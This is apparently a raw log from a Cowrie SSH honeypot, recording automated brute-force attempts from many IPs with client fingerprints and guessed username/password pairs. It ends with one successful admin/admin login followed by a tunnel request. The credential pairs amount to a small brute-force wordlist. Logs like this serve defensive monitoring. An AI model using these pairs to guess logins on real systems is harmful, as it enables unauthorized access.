f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:56:36.067170Z","src_ip":"190.119.63.98","session":"dece3fae23d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2083","message":"login attempt [root/2083] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:56:36.617092Z","src_ip":"190.119.63.98","session":"dece3fae23d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cisco","message":"login attempt [root/cisco] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:56:36.734490Z","src_ip":"171.244.37.97","session":"9a8c54fea09d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:56:37.738871Z","src_ip":"190.119.63.98","session":"dece3fae23d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:56:37.992388Z","src_ip":"171.244.37.97","session":"9a8c54fea09d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.53.168.23","src_port":45454,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0a967bb9e93","protocol":"ssh","message":"New connection: 163.53.168.23:45454 (10.17.0.5:22) [session: e0a967bb9e93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:56:58.219443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:56:58.227978Z","src_ip":"163.53.168.23","session":"e0a967bb9e93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:56:58.462016Z","src_ip":"163.53.168.23","session":"e0a967bb9e93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testuser","message":"login attempt [root/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:56:59.434158Z","src_ip":"163.53.168.23","session":"e0a967bb9e93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.164.198","src_port":51906,"dst_ip":"159.203.135.109","dst_port":22,"session":"0184b93a1245","protocol":"ssh","message":"New connection: 43.135.164.198:51906 (159.203.135.109:22) [session: 0184b93a1245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:00.191369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:00.196949Z","src_ip":"43.135.164.198","session":"0184b93a1245","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:00.266499Z","src_ip":"43.135.164.198","session":"0184b93a1245","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@4321","message":"login attempt [root/abcd@4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:00.576210Z","src_ip":"43.135.164.198","session":"0184b93a1245","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:00.671442Z","src_ip":"163.53.168.23","session":"e0a967bb9e93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:01.649325Z","src_ip":"43.135.164.198","session":"0184b93a1245","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.59.187","src_port":32902,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1005dbd5056","protocol":"ssh","message":"New connection: 20.203.59.187:32902 (10.17.0.5:22) [session: b1005dbd5056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:17.597734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:17.602657Z","src_ip":"20.203.59.187","session":"b1005dbd5056","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:17.768416Z","src_ip":"20.203.59.187","session":"b1005dbd5056","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@1234","message":"login attempt [root/admin@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:18.422169Z","src_ip":"20.203.59.187","session":"b1005dbd5056","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.168.126","src_port":58180,"dst_ip":"159.203.135.109","dst_port":22,"session":"8727b9ddd54c","protocol":"ssh","message":"New connection: 43.135.168.126:58180 (159.203.135.109:22) [session: 8727b9ddd54c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:18.717612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:18.722255Z","src_ip":"43.135.168.126","session":"8727b9ddd54c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:18.790678Z","src_ip":"43.135.168.126","session":"8727b9ddd54c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"customer123","message":"login attempt [root/customer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:19.097718Z","src_ip":"43.135.168.126","session":"8727b9ddd54c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:19.581121Z","src_ip":"20.203.59.187","session":"b1005dbd5056","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:20.169470Z","src_ip":"43.135.168.126","session":"8727b9ddd54c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":34946,"dst_ip":"159.203.135.109","dst_port":22,"session":"af5bb5c550e4","protocol":"ssh","message":"New connection: 193.32.162.151:34946 (159.203.135.109:22) [session: af5bb5c550e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:27.015369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:27.019804Z","src_ip":"193.32.162.151","session":"af5bb5c550e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:27.124915Z","src_ip":"193.32.162.151","session":"af5bb5c550e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"q1w2e3r4","message":"login attempt [mysql/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:27.440694Z","src_ip":"193.32.162.151","session":"af5bb5c550e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":57002,"dst_ip":"10.17.0.5","dst_port":22,"session":"d52d0282889d","protocol":"ssh","message":"New connection: 46.19.67.181:57002 (10.17.0.5:22) [session: d52d0282889d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:28.004920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:28.009548Z","src_ip":"46.19.67.181","session":"d52d0282889d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:28.129872Z","src_ip":"46.19.67.181","session":"d52d0282889d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"immortal","message":"login attempt [root/immortal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:28.487621Z","src_ip":"46.19.67.181","session":"d52d0282889d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:28.547880Z","src_ip":"193.32.162.151","session":"af5bb5c550e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:29.609873Z","src_ip":"46.19.67.181","session":"d52d0282889d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":34844,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1d63be4226a","protocol":"ssh","message":"New connection: 62.133.62.83:34844 (10.17.0.5:22) [session: a1d63be4226a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:32.003553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:32.008405Z","src_ip":"62.133.62.83","session":"a1d63be4226a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:32.090631Z","src_ip":"62.133.62.83","session":"a1d63be4226a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:32.330584Z","src_ip":"62.133.62.83","session":"a1d63be4226a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:33.411776Z","src_ip":"62.133.62.83","session":"a1d63be4226a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":43448,"dst_ip":"10.17.0.5","dst_port":22,"session":"394b61756054","protocol":"ssh","message":"New connection: 87.251.64.176:43448 (10.17.0.5:22) [session: 394b61756054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:47.403195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:47.406550Z","src_ip":"87.251.64.176","session":"394b61756054","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:47.524406Z","src_ip":"87.251.64.176","session":"394b61756054","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:48.213710Z","src_ip":"87.251.64.176","session":"394b61756054","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:48.315460Z","session":"394b61756054","protocol":"ssh"}
